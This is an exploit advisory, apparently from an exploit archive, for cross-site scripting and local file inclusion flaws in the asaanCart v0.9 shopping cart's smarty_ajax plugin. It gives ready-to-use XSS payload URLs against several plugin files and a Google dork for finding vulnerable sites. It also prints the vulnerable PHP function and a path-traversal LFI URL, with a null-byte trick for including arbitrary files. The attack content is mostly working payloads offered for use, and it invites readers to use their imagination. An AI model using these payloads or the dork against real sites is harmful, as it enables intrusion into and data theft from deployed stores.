AsaanCart Cross Site Scripting / Local File Inclusion

2012-03-15 / 2012-10-11
Credit: Number 7
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-79
CWE-98

______________________________________________________________________________________ # Exploit Title :[asaanCart XSS/LFI Vulnerabilities] # Google Dork :[intext:"smarty_ajax AJAX-enabled Smarty plugins"]Or[inurl:"/smarty_ajax/"] # Date :[14/03/2012] # Author :[Number 7]~ Twitter:[@TunisianSeven] ~ Blog :[http://tunisianseven.blogspot.com/] # Tested on :[Linux] # Software Link :[http://asaancart.wordpress.com/] # Download2 :[http://sourceforge.net/projects/asaancart/] # Version: :[v-0.9] ______________________________________________________________________________________ The bug is based on smarty_ajax plugin which is included in this script and other scripts as well ! Demo: Html Injection + Cross site scripting: (for the xss you must user IExplorer Or mozilla Firefox) ===> http://localhost/asaancart%20v-0.9/libs/smarty_ajax/calc.php/%22onmouseover=prompt(944322)%3E%3Cu%3E%3Cbig%3E%3Cbig%3E%3Cbig%3E%3Cbig%3EInjection%20Here%3C/big%3E%3C/big%3E%3C/big%3E%3C/big%3E%3C/u%3E http://localhost/asaancart%20v-0.9/libs/smarty_ajax/chat.php/%22onmouseover=prompt(998415)%3E%3CBig%3E%3Cbig%3E%3Cbig%3E%3Cbig%3E%3Cu%3EHtml%20Injection%20HerE.%3C/u%3E%3C/Big%3E%3C/big%3E%3C/big%3E%3C/big%3E http://localhost/asaancart%20v-0.9/libs/smarty_ajax/register.php/%22onmouseover=prompt(970389)%3E%3Cbig%20style=%22color:%20rgb(204,%200,%200);%22%3E%3Cbig%3E%3Cspanstyle=%22font-weight:%20bold;%20font-style:%20italic;%20text-decoration:%20underline;%22%3EHtmlInjection.%3C/span%3E%3C/big%3E%3C/big%3E http://localhost/asaancart%20v-0.9/libs/smarty_ajax/index.php/%22onmouseover=prompt(970389)%3E%3Cbig%20style=%22color:%20rgb(204,%200,%200);%22%3E%3Cbig%3E%3Cspanstyle=%22font-weight:%20bold;%20font-style:%20italic;%20text-decoration:%20underline;%22%3EHtmlInjection.%3C/span%3E%3C/big%3E%3C/big%3E http://localhost/asaancart%20v-0.9/libs/smarty_ajax/index.php?_=&f=update_intro&page=1%3CScRiPt%20%3Eprompt%28949136%29%3C%2fScRiPt%3E Local File Include: Proof: http://localhost/libs/smarty_ajax/index.php lines: 29->33. function update_intro() { global $t; header('Content-Type: text/html; charset=windows-1251'); $t->display('introduction/' . $_GET['page'] . '.tpl'); } Usage[LFI]: http://localhost/asaancart%20v-0.9/libs/smarty_ajax/index.php?_=&f=update_intro&page=../../../../../templates\add_product It will include the file with .tpl extension ! you can replace it with file.php%00 Or use your immagination .... ______________________________________________________________________________________


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top